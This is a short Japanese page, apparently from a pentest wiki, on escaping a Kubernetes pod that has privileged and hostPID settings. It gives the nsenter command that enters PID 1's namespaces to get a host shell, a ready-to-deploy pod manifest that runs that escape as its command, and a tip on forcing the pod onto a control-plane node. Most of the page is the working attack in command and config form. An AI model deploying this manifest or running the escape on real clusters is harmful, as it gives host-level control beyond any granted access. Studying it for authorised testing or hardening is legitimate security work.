Pod Escape Privileges

ハックトリックをサポートして特典を得る!

特権とhostPID

これらの特権を持つと、ホストのプロセスにアクセスでき、ホストのプロセスのネームスペースに入るための十分な特権を持つことができます。 特権が必要な場合もありますが、特権ではなく、いくつかの機能や他の潜在的な防御回避(apparmorや/またはseccompなど)が必要な場合もあります。

次のようなコマンドを実行するだけで、ポッドから脱出することができます:

nsenter --target 1 --mount --uts --ipc --net --pid -- bash

設定の例:

apiVersion: v1
kind: Pod
metadata:
name: priv-and-hostpid-exec-pod
labels:
app: pentest
spec:
hostPID: true
containers:
- name: priv-and-hostpid-pod
image: ubuntu
tty: true
securityContext:
privileged: true
command: [ "nsenter", "--target", "1", "--mount", "--uts", "--ipc", "--net", "--pid", "--", "bash" ]
#nodeName: k8s-control-plane-node # Force your pod to run on the control-plane node by uncommenting this line and changing to a control-plane node name

特権のみ

ハックトリックをサポートして特典を得る!

最終更新